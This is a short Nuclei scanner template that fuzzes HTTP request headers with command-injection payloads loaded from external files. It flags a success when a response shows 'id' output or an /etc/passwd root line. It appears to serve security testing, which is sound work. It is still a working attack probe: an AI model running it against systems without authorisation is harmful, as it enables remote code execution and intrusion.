id: header-command-injection

info:
  name: Header Command Injection
  author: geeknik
  severity: high
  description: Fuzzing headers for command injection
  tags: fuzz,rce

requests:
  - payloads:
      header: helpers/payloads/request-headers.txt
      payload: helpers/payloads/command-injection.txt

    raw:
      - |
        GET /?§header§ HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        §header§: §payload§
        Connection: close

    attack: clusterbomb
    redirects: true
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0:"